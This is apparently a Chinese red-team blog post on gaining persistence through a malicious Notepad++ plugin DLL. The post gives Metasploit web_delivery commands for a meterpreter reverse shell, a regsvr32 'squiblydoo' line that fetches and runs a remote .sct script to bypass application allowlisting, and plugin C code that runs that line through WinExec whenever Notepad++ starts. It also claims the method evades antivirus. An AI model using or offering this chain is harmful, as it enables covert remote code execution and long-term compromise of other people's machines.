notepad++插件
Notepad++ 插件可用于扩展 Notepad++ 的功能。默认情况下,用户可以在 Notepad++ 中下载已批准的插件列表,但也允许自定义插件,无需任何验证,从而为开发人员提供扩展文本编辑器使用的灵活性。插件具有 DLL 文件的形式,并存储在以下路径中:
%PROGRAMFILES%\Notepad++\plugins
应该注意的是,为了加载插件,文件夹和 DLL 需要具有相同的名称。
如:
对于红队操作员来说,不需要从头开始编写恶意插件,当在 notepad++ 中输入字符时, SCI_ADDTEXT API 将触发自定义命令。在以下示例中,在插入字符期间将出现一个消息框。
git clone https://github.com/npp-plugins/plugintemplate.git
项目提供了visual studio的项目文件vs.proj/NppPluginTemplate.vcxproj
,直接双击打开,重定向项目的窗口记得选择确定。
然后就可以开始愉快的写代码了。模板中提示较为完善,根据提示首先打开PluginDefinition.h
,可以自定义插件的名称和功能数量。
这里名字随便起,不重要。由于我们没什么真正需要实现的功能,这里可以不改,模板默认带两个测试功能(不能为0),随便填一个功能。然后打开PluginDefinition.cpp
,commandMenuInit
函数中是用来设置功能和菜单栏中对应按钮的,模板中默认就带了两个测试功能也可以不改。真正需要实现的持久化功能可以填写在pluginInit
方法中,notepad++打开会自动加载这些dll,然后调用pluginInit
等函数。例如这里添加一个MessageBox。
void pluginInit(HANDLE /*hModule*/)
{
MessageBox(NULL, TEXT("test"), TEXT("test"), NULL);
}
编译后生成NppPluginTemplate.dll
文件。在notepad++的plugins目录下新建一个目录用来放这个dll,假如给这个目录起名为SecTest
,则将NppPluginTemplate.dll
文件拖到SecTest
目录下并重命名为SecTest.dll
即可(名字要一致,否则不加载),重启notepad++即可生效。
开启成功弹窗
权限维持需要使用regsrv32.exe绕过应用程序白名单
0x00 regsvr简介
regsvr32表示Microsoft注册服务。它是Windows的命令行实用工具。虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件。该文件位于C:\Windows的子文件夹中。该文件能够被查看,跟踪和影响其他程序。它主要用于在Windows文件扩展名中注册和取消注册程序,因为它是.exe,它的进程广泛地应用到OLE(对象链接和嵌入)、DLL(数据链接库)和OCX(ActiveX控制模块)中。上述进程在后台运行,可以通过任务管理器看到。它是微软的可信文件之一。
0x01 regsvr运行
当你通过regsvr32中注册一个dll文件时,有关与regsvr32关联的程序的信息将会被添加到Windows中。然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个dll文件时,会将信息添加到目录中,以便Windows可以使用它。这些文件的整个路径在字面上都有可执行代码,因此Windows可以调用特定的函数。这些文件非常方便,因为当软件更新时,这些文件会自动调用更新的版本;简而言之,它有助于避免软件的版本问题。通常,除了注册和注销dll文件外,此文件不常用
RegSvr32.exe具有以下命令行选项:
语法: Regsvr32 [/s][/u] [/n] [/i[:cmdline]]
/ u - 取消注册server
/ i - 调用DllInstall传递一个可选的[cmdline]; 当它与/u一起使用时,调用dll uninstall
/ n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/ s - Silent;不显示消息框
0x02 攻击regsvr的多种方法
- Web delivery
- Empire
- Manual
- MSFVenom
- Koadic
- JSRat
- GreatSCT
Web Delivery
该模块可以快速启动一个为payload提供服务的Web服务器。提供的命令将允许下载和执行payload。它将通过指定的脚本语言解析器或Regsvr32使用squiblydoo技术绕过应用程序白名单。此模块的主要目的是当攻击者必须手动输入命令(例如命令注入)时,快速在目标计算机上建立会话:例如命令注入。
Regsvr32使用squiblydoo技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够运行**.sct**文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。
use exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run
一旦该exploit被执行,您将拥有一个为您创建的URL。在受害者pc的命令提示符中运行该URL,如下所示:
regsvr32 /s /n /u /i:http://192.168.159.132:8080/c7jRfbZFWR2T.sct scrobj.dll
现在是用C去执行该语句
void pluginInit(HANDLE /*hModule*/)
{
WinExec("regsvr32 /s /n /u /i:http://192.168.159.132:8080/c7jRfbZFWR2T.sct scrobj.dll", SW_SHOW);
}
即可实现调用notepad++即可拿到shell
后记
这里只进行了简单测试,因为是直接调用DLL,所以可以进行免杀
但前提必须是拥有文件上传的权限,所以用来做权限维持即可
这是一种思路,说明其他的可拓展的软件也都可能会有权限维持的利用空间